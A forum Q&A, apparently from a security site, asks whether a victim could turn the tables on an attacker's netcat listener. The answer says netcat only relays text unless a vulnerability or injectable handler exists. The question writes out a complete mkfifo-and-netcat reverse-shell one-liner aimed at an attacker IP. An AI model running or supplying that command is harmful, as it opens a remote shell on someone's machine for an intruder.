Possible to backdoor a Netcat Listener?

Question

I have been getting into backdooring computers and servers using either specialized software or some malicious command that spawns a backdoor on the target machine, then pipes the terminal to my listening netcat session on my server.

While this is an interesting field, to just see how easy it is to do that type of thing, I got some curiosity to attempt to do something else.

I was wondering about the possibility of spawning a backdoor on the server that is listening on a port using Netcat. Preferably a Linux machine. The command would look like something like:

root@ubuntu:~# nc -lvk 9000
Listening on [0.0.0.0] (family 0, port 9000)

This is basically what the attacker's server would look like. Then say he was waiting on a backdoor to spawn on his victim's machine. The victim would run some command on his Linux machine like:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 9000 >/tmp/f

Assuming the 10.0.0.1 IP address is the IP of the attacker. At this point, the attacker (after the victim ran this malicious command), would see this:

root@ubuntu:~# nc -lvk 9000
Listening on [0.0.0.0] (family 0, port 9000)
$

and from there the attacker now has a terminal being piped to his server from the victim.

How could I possibly abuse this, and instead of the victim sending a shell to the attacker, how could the victim backdoor the attacker's open port (9000) that is using Netcat?

Answer 1

No, as you describe this, this will not work. netcat -lnvp is not supposed to execute any command. It is just one side of a text chat really. As you show, you need to hook those messages up to a shell that will do something with that text by piping the shell to netcat.

Unless there is a vulnerability on the attacker machine, the victim can only send text. A vulnerability would be netcat executing a command in text it gets sent, or the attacker using a script to handle the netcat output that is vulnerable to command injection.